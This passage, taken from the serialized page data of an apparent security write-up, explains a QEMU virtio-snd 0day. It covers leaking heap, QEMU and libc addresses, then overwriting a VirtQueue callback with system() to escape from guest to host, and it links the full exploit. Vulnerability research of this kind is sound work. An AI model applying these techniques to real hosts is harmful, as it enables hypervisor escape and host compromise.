stream_id;\n",{"type":22,"tag":101,"props":134232,"children":134233},{"class":103,"line":1032},[134234],{"type":22,"tag":101,"props":134235,"children":134236},{"emptyLinePlaceholder":15},[134237],{"type":27,"value":1581},{"type":22,"tag":101,"props":134239,"children":134240},{"class":103,"line":1063},[134241],{"type":22,"tag":101,"props":134242,"children":134243},{"style":120},[134244],{"type":27,"value":108308},{"type":22,"tag":101,"props":134246,"children":134247},{"class":103,"line":1071},[134248],{"type":22,"tag":101,"props":134249,"children":134250},{"emptyLinePlaceholder":15},[134251],{"type":27,"value":1581},{"type":22,"tag":101,"props":134253,"children":134254},{"class":103,"line":1110},[134255,134259],{"type":22,"tag":101,"props":134256,"children":134257},{"style":3595},[134258],{"type":27,"value":7078},{"type":22,"tag":101,"props":134260,"children":134261},{"style":120},[134262],{"type":27,"value":127433},{"type":22,"tag":101,"props":134264,"children":134265},{"class":103,"line":1118},[134266,134270,134274],{"type":22,"tag":101,"props":134267,"children":134268},{"style":120},[134269],{"type":27,"value":127441},{"type":22,"tag":101,"props":134271,"children":134272},{"style":166},[134273],{"type":27,"value":8615},{"type":22,"tag":101,"props":134275,"children":134276},{"style":120},[134277],{"type":27,"value":127450},{"type":22,"tag":101,"props":134279,"children":134280},{"class":103,"line":1158},[134281],{"type":22,"tag":101,"props":134282,"children":134283},{"emptyLinePlaceholder":15},[134284],{"type":27,"value":1581},{"type":22,"tag":101,"props":134286,"children":134287},{"class":103,"line":1166},[134288,134292,134296,134300,134304,134308],{"type":22,"tag":101,"props":134289,"children":134290},{"style":120},[134291],{"type":27,"value":127465},{"type":22,"tag":101,"props":134293,"children":134294},{"style":166},[134295],{"type":27,"value":1511},{"type":22,"tag":101,"props":134297,"children":134298},{"style":926},[134299],{"type":27,"value":127474},{"type":22,"tag":101,"props":134301,"children":134302},{"style":120},[134303],{"type":27,"value":127479},{"type":22,"tag":101,"props":134305,"children":134306},{"style":108},[134307],{"type":27,"value":59324},{"type":22,"tag":101,"props":134309,"children":134310},{"style":120},[134311],{"type":27,"value":134312},"(VirtQueueElement));\n",{"type":22,"tag":101,"props":134314,"children":134315},{"class":103,"line":1215},[134316,134320,134324,134328],{"type":22,"tag":101,"props":134317,"children":134318},{"style":3595},[134319],{"type":27,"value":7312},{"type":22,"tag":101,"props":134321,"children":134322},{"style":120},[134323],{"type":27,"value":3603},{"type":22,"tag":101,"props":134325,"children":134326},{"style":166},[134327],{"type":27,"value":2109},{"type":22,"tag":101,"props":134329,"children":134330},{"style":120},[134331],{"type":27,"value":127513},{"type":22,"tag":101,"props":134333,"children":134334},{"class":103,"line":2425},[134335,134339],{"type":22,"tag":101,"props":134336,"children":134337},{"style":3595},[134338],{"type":27,"value":7337},{"type":22,"tag":101,"props":134340,"children":134341},{"style":120},[134342],{"type":27,"value":1520},{"type":22,"tag":101,"props":134344,"children":134345},{"class":103,"line":5417},[134346],{"type":22,"tag":101,"props":134347,"children":134348},{"style":120},[134349],{"type":27,"value":2398},{"type":22,"tag":101,"props":134351,"children":134352},{"class":103,"line":7714},[134353],{"type":22,"tag":101,"props":134354,"children":134355},{"style":2215},[134356],{"type":27,"value":134357}," /* get the message hdr object */\n",{"type":22,"tag":101,"props":134359,"children":134360},{"class":103,"line":7723},[134361,134366,134370,134375,134379,134383,134387,134391],{"type":22,"tag":101,"props":134362,"children":134363},{"style":120},[134364],{"type":27,"value":134365}," msg_sz ",{"type":22,"tag":101,"props":134367,"children":134368},{"style":166},[134369],{"type":27,"value":1511},{"type":22,"tag":101,"props":134371,"children":134372},{"style":926},[134373],{"type":27,"value":134374}," iov_to_buf",{"type":22,"tag":101,"props":134376,"children":134377},{"style":120},[134378],{"type":27,"value":980},{"type":22,"tag":101,"props":134380,"children":134381},{"style":126},[134382],{"type":27,"value":56060},{"type":22,"tag":101,"props":134384,"children":134385},{"style":120},[134386],{"type":27,"value":17759},{"type":22,"tag":101,"props":134388,"children":134389},{"style":126},[134390],{"type":27,"value":127917},{"type":22,"tag":101,"props":134392,"children":134393},{"style":120},[134394],{"type":27,"value":179},{"type":22,"tag":101,"props":134396,"children":134397},{"class":103,"line":7791},[134398,134403,134407,134412],{"type":22,"tag":101,"props":134399,"children":134400},{"style":126},[134401],{"type":27,"value":134402}," elem",{"type":22,"tag":101,"props":134404,"children":134405},{"style":120},[134406],{"type":27,"value":17759},{"type":22,"tag":101,"props":134408,"children":134409},{"style":126},[134410],{"type":27,"value":134411},"out_num",{"type":22,"tag":101,"props":134413,"children":134414},{"style":120},[134415],{"type":27,"value":179},{"type":22,"tag":101,"props":134417,"children":134418},{"class":103,"line":7799},[134419,134424],{"type":22,"tag":101,"props":134420,"children":134421},{"style":1544},[134422],{"type":27,"value":134423}," 0",{"type":22,"tag":101,"props":134425,"children":134426},{"style":120},[134427],{"type":27,"value":179},{"type":22,"tag":101,"props":134429,"children":134430},{"class":103,"line":7829},[134431,134436],{"type":22,"tag":101,"props":134432,"children":134433},{"style":166},[134434],{"type":27,"value":134435}," &",{"type":22,"tag":101,"props":134437,"children":134438},{"style":120},[134439],{"type":27,"value":134440},"hdr,\n",{"type":22,"tag":101,"props":134442,"children":134443},{"class":103,"line":7837},[134444,134449],{"type":22,"tag":101,"props":134445,"children":134446},{"style":108},[134447],{"type":27,"value":134448}," sizeof",{"type":22,"tag":101,"props":134450,"children":134451},{"style":120},[134452],{"type":27,"value":134453},"(virtio_snd_pcm_xfer));\n",{"type":22,"tag":101,"props":134455,"children":134456},{"class":103,"line":7868},[134457,134461,134466,134470,134475],{"type":22,"tag":101,"props":134458,"children":134459},{"style":3595},[134460],{"type":27,"value":7312},{"type":22,"tag":101,"props":134462,"children":134463},{"style":120},[134464],{"type":27,"value":134465}," (msg_sz ",{"type":22,"tag":101,"props":134467,"children":134468},{"style":166},[134469],{"type":27,"value":19686},{"type":22,"tag":101,"props":134471,"children":134472},{"style":108},[134473],{"type":27,"value":134474}," sizeof",{"type":22,"tag":101,"props":134476,"children":134477},{"style":120},[134478],{"type":27,"value":134479},"(virtio_snd_pcm_xfer)) {\n",{"type":22,"tag":101,"props":134481,"children":134482},{"class":103,"line":7876},[134483,134487],{"type":22,"tag":101,"props":134484,"children":134485},{"style":3595},[134486],{"type":27,"value":64547},{"type":22,"tag":101,"props":134488,"children":134489},{"style":120},[134490],{"type":27,"value":134491}," rx_err;\n",{"type":22,"tag":101,"props":134493,"children":134494},{"class":103,"line":7936},[134495],{"type":22,"tag":101,"props":134496,"children":134497},{"style":120},[134498],{"type":27,"value":2398},{"type":22,"tag":101,"props":134500,"children":134501},{"class":103,"line":13054},[134502,134507,134511,134515,134519,134524,134528,134533],{"type":22,"tag":101,"props":134503,"children":134504},{"style":120},[134505],{"type":27,"value":134506}," stream_id ",{"type":22,"tag":101,"props":134508,"children":134509},{"style":166},[134510],{"type":27,"value":1511},{"type":22,"tag":101,"props":134512,"children":134513},{"style":926},[134514],{"type":27,"value":129379},{"type":22,"tag":101,"props":134516,"children":134517},{"style":120},[134518],{"type":27,"value":980},{"type":22,"tag":101,"props":134520,"children":134521},{"style":126},[134522],{"type":27,"value":134523},"hdr",{"type":22,"tag":101,"props":134525,"children":134526},{"style":120},[134527],{"type":27,"value":231},{"type":22,"tag":101,"props":134529,"children":134530},{"style":126},[134531],{"type":27,"value":134532},"stream_id",{"type":22,"tag":101,"props":134534,"children":134535},{"style":120},[134536],{"type":27,"value":994},{"type":22,"tag":101,"props":134538,"children":134539},{"class":103,"line":13072},[134540],{"type":22,"tag":101,"props":134541,"children":134542},{"emptyLinePlaceholder":15},[134543],{"type":27,"value":1581},{"type":22,"tag":101,"props":134545,"children":134546},{"class":103,"line":13117},[134547],{"type":22,"tag":101,"props":134548,"children":134549},{"style":120},[134550],{"type":27,"value":127546},{"type":22,"tag":101,"props":134552,"children":134553},{"class":103,"line":13223},[134554],{"type":22,"tag":101,"props":134555,"children":134556},{"emptyLinePlaceholder":15},[134557],{"type":27,"value":1581},{"type":22,"tag":101,"props":134559,"children":134560},{"class":103,"line":27496},[134561,134565,134569,134573,134577,134581,134585],{"type":22,"tag":101,"props":134562,"children":134563},{"style":926},[134564],{"type":27,"value":127561},{"type":22,"tag":101,"props":134566,"children":134567},{"style":120},[134568],{"type":27,"value":980},{"type":22,"tag":101,"props":134570,"children":134571},{"style":166},[134572],{"type":27,"value":985},{"type":22,"tag":101,"props":134574,"children":134575},{"style":126},[134576],{"type":27,"value":40257},{"type":22,"tag":101,"props":134578,"children":134579},{"style":120},[134580],{"type":27,"value":17759},{"type":22,"tag":101,"props":134582,"children":134583},{"style":126},[134584],{"type":27,"value":127582},{"type":22,"tag":101,"props":134586,"children":134587},{"style":120},[134588],{"type":27,"value":1463},{"type":22,"tag":101,"props":134590,"children":134591},{"class":103,"line":27531},[134592,134596,134600,134604,134608,134612,134616,134620,134624,134628,134632,134636,134640],{"type":22,"tag":101,"props":134593,"children":134594},{"style":120},[134595],{"type":27,"value":127594},{"type":22,"tag":101,"props":134597,"children":134598},{"style":166},[134599],{"type":27,"value":1511},{"type":22,"tag":101,"props":134601,"children":134602},{"style":926},[134603],{"type":27,"value":127603},{"type":22,"tag":101,"props":134605,"children":134606},{"style":120},[134607],{"type":27,"value":980},{"type":22,"tag":101,"props":134609,"children":134610},{"style":126},[134611],{"type":27,"value":56060},{"type":22,"tag":101,"props":134613,"children":134614},{"style":120},[134615],{"type":27,"value":17759},{"type":22,"tag":101,"props":134617,"children":134618},{"style":126},[134619],{"type":27,"value":127620},{"type":22,"tag":101,"props":134621,"children":134622},{"style":120},[134623],{"type":27,"value":758},{"type":22,"tag":101,"props":134625,"children":134626},{"style":126},[134627],{"type":27,"value":56060},{"type":22,"tag":101,"props":134629,"children":134630},{"style":120},[134631],{"type":27,"value":17759},{"type":22,"tag":101,"props":134633,"children":134634},{"style":126},[134635],{"type":27,"value":127637},{"type":22,"tag":101,"props":134637,"children":134638},{"style":120},[134639],{"type":27,"value":901},{"type":22,"tag":101,"props":134641,"children":134642},{"style":166},[134643],{"type":27,"value":54857},{"type":22,"tag":101,"props":134645,"children":134646},{"class":103,"line":27539},[134647,134651],{"type":22,"tag":101,"props":134648,"children":134649},{"style":108},[134650],{"type":27,"value":127653},{"type":22,"tag":101,"props":134652,"children":134653},{"style":120},[134654],{"type":27,"value":134655},"(virtio_snd_pcm_status);\n",{"type":22,"tag":101,"props":134657,"children":134658},{"class":103,"line":27547},[134659,134663,134667,134671,134675,134679,134683,134687,134692],{"type":22,"tag":101,"props":134660,"children":134661},{"style":120},[134662],{"type":27,"value":127671},{"type":22,"tag":101,"props":134664,"children":134665},{"style":166},[134666],{"type":27,"value":1511},{"type":22,"tag":101,"props":134668,"children":134669},{"style":926},[134670],{"type":27,"value":127680},{"type":22,"tag":101,"props":134672,"children":134673},{"style":120},[134674],{"type":27,"value":980},{"type":22,"tag":101,"props":134676,"children":134677},{"style":108},[134678],{"type":27,"value":59324},{"type":22,"tag":101,"props":134680,"children":134681},{"style":120},[134682],{"type":27,"value":127693},{"type":22,"tag":101,"props":134684,"children":134685},{"style":166},[134686],{"type":27,"value":8426},{"type":22,"tag":101,"props":134688,"children":134689},{"style":120},[134690],{"type":27,"value":134691}," size);",{"type":22,"tag":101,"props":134693,"children":134694},{"style":2215},[134695],{"type":27,"value":134696}," // [1]\n",{"type":22,"tag":101,"props":134698,"children":134699},{"class":103,"line":27556},[134700,134704,134708,134712,134716],{"type":22,"tag":101,"props":134701,"children":134702},{"style":126},[134703],{"type":27,"value":127710},{"type":22,"tag":101,"props":134705,"children":134706},{"style":120},[134707],{"type":27,"value":17759},{"type":22,"tag":101,"props":134709,"children":134710},{"style":126},[134711],{"type":27,"value":56060},{"type":22,"tag":101,"props":134713,"children":134714},{"style":166},[134715],{"type":27,"value":960},{"type":22,"tag":101,"props":134717,"children":134718},{"style":120},[134719],{"type":27,"value":127727},{"type":22,"tag":101,"props":134721,"children":134722},{"class":103,"line":27598},[134723,134727,134731,134735,134739,134744],{"type":22,"tag":101,"props":134724,"children":134725},{"style":126},[134726],{"type":27,"value":127710},{"type":22,"tag":101,"props":134728,"children":134729},{"style":120},[134730],{"type":27,"value":17759},{"type":22,"tag":101,"props":134732,"children":134733},{"style":126},[134734],{"type":27,"value":127379},{"type":22,"tag":101,"props":134736,"children":134737},{"style":166},[134738],{"type":27,"value":960},{"type":22,"tag":101,"props":134740,"children":134741},{"style":120},[134742],{"type":27,"value":134743}," vq;",{"type":22,"tag":101,"props":134745,"children":134746},{"style":2215},[134747],{"type":27,"value":134748}," // [2]\n",{"type":22,"tag":101,"props":134750,"children":134751},{"class":103,"line":27631},[134752,134756,134760,134764,134768,134772],{"type":22,"tag":101,"props":134753,"children":134754},{"style":126},[134755],{"type":27,"value":127710},{"type":22,"tag":101,"props":134757,"children":134758},{"style":120},[134759],{"type":27,"value":17759},{"type":22,"tag":101,"props":134761,"children":134762},{"style":126},[134763],{"type":27,"value":127767},{"type":22,"tag":101,"props":134765,"children":134766},{"style":166},[134767],{"type":27,"value":960},{"type":22,"tag":101,"props":134769,"children":134770},{"style":1544},[134771],{"type":27,"value":1547},{"type":22,"tag":101,"props":134773,"children":134774},{"style":120},[134775],{"type":27,"value":1520},{"type":22,"tag":101,"props":134777,"children":134778},{"class":103,"line":27639},[134779,134783,134787,134791,134795,134799],{"type":22,"tag":101,"props":134780,"children":134781},{"style":126},[134782],{"type":27,"value":127710},{"type":22,"tag":101,"props":134784,"children":134785},{"style":120},[134786],{"type":27,"value":17759},{"type":22,"tag":101,"props":134788,"children":134789},{"style":126},[134790],{"type":27,"value":17903},{"type":22,"tag":101,"props":134792,"children":134793},{"style":166},[134794],{"type":27,"value":960},{"type":22,"tag":101,"props":134796,"children":134797},{"style":1544},[134798],{"type":27,"value":1547},{"type":22,"tag":101,"props":134800,"children":134801},{"style":120},[134802],{"type":27,"value":1520},{"type":22,"tag":101,"props":134804,"children":134805},{"class":103,"line":27647},[134806,134810,134814,134818,134822,134826,134830],{"type":22,"tag":101,"props":134807,"children":134808},{"style":926},[134809],{"type":27,"value":127814},{"type":22,"tag":101,"props":134811,"children":134812},{"style":120},[134813],{"type":27,"value":980},{"type":22,"tag":101,"props":134815,"children":134816},{"style":166},[134817],{"type":27,"value":985},{"type":22,"tag":101,"props":134819,"children":134820},{"style":126},[134821],{"type":27,"value":40257},{"type":22,"tag":101,"props":134823,"children":134824},{"style":120},[134825],{"type":27,"value":17759},{"type":22,"tag":101,"props":134827,"children":134828},{"style":126},[134829],{"type":27,"value":127835},{"type":22,"tag":101,"props":134831,"children":134832},{"style":120},[134833],{"type":27,"value":134834},", buffer, entry);\n",{"type":22,"tag":101,"props":134836,"children":134837},{"class":103,"line":27656},[134838],{"type":22,"tag":101,"props":134839,"children":134840},{"style":120},[134841],{"type":27,"value":2398},{"type":22,"tag":23,"props":134843,"children":134844},{},[134845,134846,134851,134853,134858,134860,134865,134867,134873],{"type":27,"value":127889},{"type":22,"tag":30,"props":134847,"children":134849},{"className":134848},[],[134850],{"type":27,"value":127895},{"type":27,"value":134852},", QEMU allocates a ",{"type":22,"tag":30,"props":134854,"children":134856},{"className":134855},[],[134857],{"type":27,"value":128032},{"type":27,"value":134859}," whose size depends on the guest-provided iovec, and at ",{"type":22,"tag":30,"props":134861,"children":134863},{"className":134862},[],[134864],{"type":27,"value":127930},{"type":27,"value":134866}," it stores the ",{"type":22,"tag":30,"props":134868,"children":134870},{"className":134869},[],[134871],{"type":27,"value":134872},"VirtQueue *vq",{"type":27,"value":134874}," pointer into the buffer.",{"type":22,"tag":23,"props":134876,"children":134877},{},[134878,134879,134885],{"type":27,"value":3439},{"type":22,"tag":30,"props":134880,"children":134882},{"className":134881},[],[134883],{"type":27,"value":134884},"VirtQueue",{"type":27,"value":134886}," structure contains some useful fields:",{"type":22,"tag":91,"props":134888,"children":134890},{"code":134889,"language":7187,"meta":7,"className":20513,"style":7},"struct VirtQueue\n{\n [...]\n\n VirtIOHandleOutput handle_output;\n VirtIODevice *vdev;\n\n [...]\n};\n",[134891],{"type":22,"tag":30,"props":134892,"children":134893},{"__ignoreMap":7},[134894,134906,134913,134920,134927,134935,134952,134959,134966],{"type":22,"tag":101,"props":134895,"children":134896},{"class":103,"line":104},[134897,134901],{"type":22,"tag":101,"props":134898,"children":134899},{"style":108},[134900],{"type":27,"value":111},{"type":22,"tag":101,"props":134902,"children":134903},{"style":120},[134904],{"type":27,"value":134905}," VirtQueue\n",{"type":22,"tag":101,"props":134907,"children":134908},{"class":103,"line":157},[134909],{"type":22,"tag":101,"props":134910,"children":134911},{"style":120},[134912],{"type":27,"value":14886},{"type":22,"tag":101,"props":134914,"children":134915},{"class":103,"line":182},[134916],{"type":22,"tag":101,"props":134917,"children":134918},{"style":120},[134919],{"type":27,"value":108308},{"type":22,"tag":101,"props":134921,"children":134922},{"class":103,"line":367},[134923],{"type":22,"tag":101,"props":134924,"children":134925},{"emptyLinePlaceholder":15},[134926],{"type":27,"value":1581},{"type":22,"tag":101,"props":134928,"children":134929},{"class":103,"line":398},[134930],{"type":22,"tag":101,"props":134931,"children":134932},{"style":120},[134933],{"type":27,"value":134934}," VirtIOHandleOutput handle_output;\n",{"type":22,"tag":101,"props":134936,"children":134937},{"class":103,"line":428},[134938,134943,134947],{"type":22,"tag":101,"props":134939,"children":134940},{"style":120},[134941],{"type":27,"value":134942}," VirtIODevice ",{"type":22,"tag":101,"props":134944,"children":134945},{"style":166},[134946],{"type":27,"value":8615},{"type":22,"tag":101,"props":134948,"children":134949},{"style":120},[134950],{"type":27,"value":134951},"vdev;\n",{"type":22,"tag":101,"props":134953,"children":134954},{"class":103,"line":997},[134955],{"type":22,"tag":101,"props":134956,"children":134957},{"emptyLinePlaceholder":15},[134958],{"type":27,"value":1581},{"type":22,"tag":101,"props":134960,"children":134961},{"class":103,"line":1032},[134962],{"type":22,"tag":101,"props":134963,"children":134964},{"style":120},[134965],{"type":27,"value":108308},{"type":22,"tag":101,"props":134967,"children":134968},{"class":103,"line":1063},[134969],{"type":22,"tag":101,"props":134970,"children":134971},{"style":120},[134972],{"type":27,"value":20576},{"type":22,"tag":23,"props":134974,"children":134975},{},[134976,134977,134983,134985,134991],{"type":27,"value":2007},{"type":22,"tag":30,"props":134978,"children":134980},{"className":134979},[],[134981],{"type":27,"value":134982},".handle_output",{"type":27,"value":134984}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":22,"tag":30,"props":134986,"children":134988},{"className":134987},[],[134989],{"type":27,"value":134990},".vdev",{"type":27,"value":134992}," is the pointer passed to it as the first argument:",{"type":22,"tag":91,"props":134994,"children":134996},{"code":134995,"language":7187,"meta":7,"className":20513,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n if (vq->vring.desc && vq->handle_output) {\n VirtIODevice *vdev = vq->vdev;\n\n [...]\n\n vq->handle_output(vdev, vq);\n\n [...]\n }\n}\n",[134997],{"type":22,"tag":30,"props":134998,"children":134999},{"__ignoreMap":7},[135000,135033,135040,135095,135132,135139,135146,135153,135174,135181,135188,135195],{"type":22,"tag":101,"props":135001,"children":135002},{"class":103,"line":104},[135003,135007,135011,135016,135021,135025,135029],{"type":22,"tag":101,"props":135004,"children":135005},{"style":108},[135006],{"type":27,"value":55040},{"type":22,"tag":101,"props":135008,"children":135009},{"style":108},[135010],{"type":27,"value":55045},{"type":22,"tag":101,"props":135012,"children":135013},{"style":926},[135014],{"type":27,"value":135015}," virtio_queue_notify_vq",{"type":22,"tag":101,"props":135017,"children":135018},{"style":120},[135019],{"type":27,"value":135020},"(VirtQueue ",{"type":22,"tag":101,"props":135022,"children":135023},{"style":166},[135024],{"type":27,"value":8615},{"type":22,"tag":101,"props":135026,"children":135027},{"style":126},[135028],{"type":27,"value":127379},{"type":22,"tag":101,"props":135030,"children":135031},{"style":120},[135032],{"type":27,"value":2510},{"type":22,"tag":101,"props":135034,"children":135035},{"class":103,"line":157},[135036],{"type":22,"tag":101,"props":135037,"children":135038},{"style":120},[135039],{"type":27,"value":14886},{"type":22,"tag":101,"props":135041,"children":135042},{"class":103,"line":182},[135043,135047,135051,135055,135059,135064,135068,135073,135077,135082,135086,135091],{"type":22,"tag":101,"props":135044,"children":135045},{"style":3595},[135046],{"type":27,"value":16283},{"type":22,"tag":101,"props":135048,"children":135049},{"style":120},[135050],{"type":27,"value":3603},{"type":22,"tag":101,"props":135052,"children":135053},{"style":126},[135054],{"type":27,"value":127379},{"type":22,"tag":101,"props":135056,"children":135057},{"style":120},[135058],{"type":27,"value":17759},{"type":22,"tag":101,"props":135060,"children":135061},{"style":126},[135062],{"type":27,"value":135063},"vring",{"type":22,"tag":101,"props":135065,"children":135066},{"style":120},[135067],{"type":27,"value":231},{"type":22,"tag":101,"props":135069,"children":135070},{"style":126},[135071],{"type":27,"value":135072},"desc",{"type":22,"tag":101,"props":135074,"children":135075},{"style":166},[135076],{"type":27,"value":18187},{"type":22,"tag":101,"props":135078,"children":135079},{"style":126},[135080],{"type":27,"value":135081}," vq",{"type":22,"tag":101,"props":135083,"children":135084},{"style":120},[135085],{"type":27,"value":17759},{"type":22,"tag":101,"props":135087,"children":135088},{"style":126},[135089],{"type":27,"value":135090},"handle_output",{"type":22,"tag":101,"props":135092,"children":135093},{"style":120},[135094],{"type":27,"value":1463},{"type":22,"tag":101,"props":135096,"children":135097},{"class":103,"line":367},[135098,135103,135107,135112,135116,135120,135124,135128],{"type":22,"tag":101,"props":135099,"children":135100},{"style":120},[135101],{"type":27,"value":135102}," VirtIODevice ",{"type":22,"tag":101,"props":135104,"children":135105},{"style":166},[135106],{"type":27,"value":8615},{"type":22,"tag":101,"props":135108,"children":135109},{"style":120},[135110],{"type":27,"value":135111},"vdev ",{"type":22,"tag":101,"props":135113,"children":135114},{"style":166},[135115],{"type":27,"value":1511},{"type":22,"tag":101,"props":135117,"children":135118},{"style":126},[135119],{"type":27,"value":135081},{"type":22,"tag":101,"props":135121,"children":135122},{"style":120},[135123],{"type":27,"value":17759},{"type":22,"tag":101,"props":135125,"children":135126},{"style":126},[135127],{"type":27,"value":127365},{"type":22,"tag":101,"props":135129,"children":135130},{"style":120},[135131],{"type":27,"value":1520},{"type":22,"tag":101,"props":135133,"children":135134},{"class":103,"line":398},[135135],{"type":22,"tag":101,"props":135136,"children":135137},{"emptyLinePlaceholder":15},[135138],{"type":27,"value":1581},{"type":22,"tag":101,"props":135140,"children":135141},{"class":103,"line":428},[135142],{"type":22,"tag":101,"props":135143,"children":135144},{"style":120},[135145],{"type":27,"value":127546},{"type":22,"tag":101,"props":135147,"children":135148},{"class":103,"line":997},[135149],{"type":22,"tag":101,"props":135150,"children":135151},{"emptyLinePlaceholder":15},[135152],{"type":27,"value":1581},{"type":22,"tag":101,"props":135154,"children":135155},{"class":103,"line":1032},[135156,135161,135165,135169],{"type":22,"tag":101,"props":135157,"children":135158},{"style":126},[135159],{"type":27,"value":135160}," vq",{"type":22,"tag":101,"props":135162,"children":135163},{"style":120},[135164],{"type":27,"value":17759},{"type":22,"tag":101,"props":135166,"children":135167},{"style":926},[135168],{"type":27,"value":135090},{"type":22,"tag":101,"props":135170,"children":135171},{"style":120},[135172],{"type":27,"value":135173},"(vdev, vq);\n",{"type":22,"tag":101,"props":135175,"children":135176},{"class":103,"line":1063},[135177],{"type":22,"tag":101,"props":135178,"children":135179},{"emptyLinePlaceholder":15},[135180],{"type":27,"value":1581},{"type":22,"tag":101,"props":135182,"children":135183},{"class":103,"line":1071},[135184],{"type":22,"tag":101,"props":135185,"children":135186},{"style":120},[135187],{"type":27,"value":127546},{"type":22,"tag":101,"props":135189,"children":135190},{"class":103,"line":1110},[135191],{"type":22,"tag":101,"props":135192,"children":135193},{"style":120},[135194],{"type":27,"value":1734},{"type":22,"tag":101,"props":135196,"children":135197},{"class":103,"line":1118},[135198],{"type":22,"tag":101,"props":135199,"children":135200},{"style":120},[135201],{"type":27,"value":188},{"type":22,"tag":23,"props":135203,"children":135204},{},[135205,135207,135212,135214,135219,135221,135227,135229,135234,135235,135240,135242,135247],{"type":27,"value":135206},"This means that if we free the known-address chunk and replace it with a ",{"type":22,"tag":30,"props":135208,"children":135210},{"className":135209},[],[135211],{"type":27,"value":128032},{"type":27,"value":135213}," - which is straightforward, since we control the buffer allocation size through the ",{"type":22,"tag":30,"props":135215,"children":135217},{"className":135216},[],[135218],{"type":27,"value":127620},{"type":27,"value":135220}," iovec - we can use the arbitrary read primitive to read its ",{"type":22,"tag":30,"props":135222,"children":135224},{"className":135223},[],[135225],{"type":27,"value":135226},".vq",{"type":27,"value":135228}," pointer, then follow that pointer to leak ",{"type":22,"tag":30,"props":135230,"children":135232},{"className":135231},[],[135233],{"type":27,"value":134982},{"type":27,"value":20051},{"type":22,"tag":30,"props":135236,"children":135238},{"className":135237},[],[135239],{"type":27,"value":134884},{"type":27,"value":135241}," structure. In our case, that field points to ",{"type":22,"tag":30,"props":135243,"children":135245},{"className":135244},[],[135246],{"type":27,"value":127272},{"type":27,"value":135248},", which gives us QEMU's base address.",{"type":22,"tag":23,"props":135250,"children":135251},{},[135252,135254,135260],{"type":27,"value":135253},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":22,"tag":30,"props":135255,"children":135257},{"className":135256},[],[135258],{"type":27,"value":135259},"system",{"type":27,"value":231},{"type":22,"tag":1760,"props":135262,"children":135264},{"id":135263},"rip-control",[135265],{"type":27,"value":135266},"RIP Control",{"type":22,"tag":23,"props":135268,"children":135269},{},[135270,135272,135277,135279,135285],{"type":27,"value":135271},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":22,"tag":30,"props":135273,"children":135275},{"className":135274},[],[135276],{"type":27,"value":135259},{"type":27,"value":135278},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":22,"tag":30,"props":135280,"children":135282},{"className":135281},[],[135283],{"type":27,"value":135284},"VirtQueue.handle_output",{"type":27,"value":231},{"type":22,"tag":23,"props":135287,"children":135288},{},[135289,135291,135296,135298,135303,135305,135310],{"type":27,"value":135290},"We overwrite ",{"type":22,"tag":30,"props":135292,"children":135294},{"className":135293},[],[135295],{"type":27,"value":134982},{"type":27,"value":135297}," with the address of ",{"type":22,"tag":30,"props":135299,"children":135301},{"className":135300},[],[135302],{"type":27,"value":135259},{"type":27,"value":135304}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":22,"tag":30,"props":135306,"children":135308},{"className":135307},[],[135309],{"type":27,"value":134990},{"type":27,"value":135311}," with the address of that command string, so it is passed as the first argument.",{"type":22,"tag":23,"props":135313,"children":135314},{},[135315,135317,135323,135325,135331,135333,135339],{"type":27,"value":135316},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":22,"tag":30,"props":135318,"children":135320},{"className":135319},[],[135321],{"type":27,"value":135322},"virtio_queue_notify_vq",{"type":27,"value":135324},", which calls ",{"type":22,"tag":30,"props":135326,"children":135328},{"className":135327},[],[135329],{"type":27,"value":135330},"vq->handle_output(vq->vdev)",{"type":27,"value":135332}," - or, after our overwrites, ",{"type":22,"tag":30,"props":135334,"children":135336},{"className":135335},[],[135337],{"type":27,"value":135338},"system(command)",{"type":27,"value":231},{"type":22,"tag":23,"props":135341,"children":135342},{},[135343,135345,135351,135353],{"type":27,"value":135344},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":22,"tag":30,"props":135346,"children":135348},{"className":135347},[],[135349],{"type":27,"value":135350},"gnome-calculator",{"type":27,"value":135352}," on the host system:\n",{"type":22,"tag":34964,"props":135354,"children":135355},{},[],{"type":22,"tag":135357,"props":135358,"children":135367},"tweet-card",{"author-name":135359,"date":135360,"duration":135361,"handle":135362,"media-mime-type":135363,"media-src":135364,"media-type":135365,"tweet-url":135366},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[135368,135373,135378],{"type":22,"tag":23,"props":135369,"children":135370},{},[135371],{"type":27,"value":135372},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":22,"tag":23,"props":135374,"children":135375},{},[135376],{"type":27,"value":135377},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":22,"tag":23,"props":135379,"children":135380},{},[135381],{"type":27,"value":135382},"Writeup coming next week.",{"type":22,"tag":34964,"props":135384,"children":135385},{},[],{"type":22,"tag":23,"props":135387,"children":135388},{},[135389,135391,135397,135399,135405],{"type":27,"value":135390},"The final exploit, targeting QEMU commit ",{"type":22,"tag":30,"props":135392,"children":135394},{"className":135393},[],[135395],{"type":27,"value":135396},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":27,"value":135398}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":22,"tag":80,"props":135400,"children":135403},{"href":135401,"rel":135402},"https://github.com/otter-sec/qemu-escape",[84],[135404],{"type":27,"value":51581},{"type":27,"value":231},{"type":22,"tag":23,"props":135407,"children":135408},{},[135409,135411,135418],{"type":27,"value":135410},"Special thanks to ",{"type":22,"tag":80,"props":135412,"children":135415},{"href":135413,"rel":135414},"https://www.willsroot.io/",[84],[135416],{"type":27,"value":135417},"William Liu",{"type":27,"value":135419}," for proofreading this post and helping us polish it before publication.",{"type":22,"tag":53,"props":135421,"children":135422},{"id":6776},[135423],{"type":27,"value":6779},{"type":22,"tag":23,"props":135425,"children":135426},{},[135427],{"type":27,"value":135428},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a 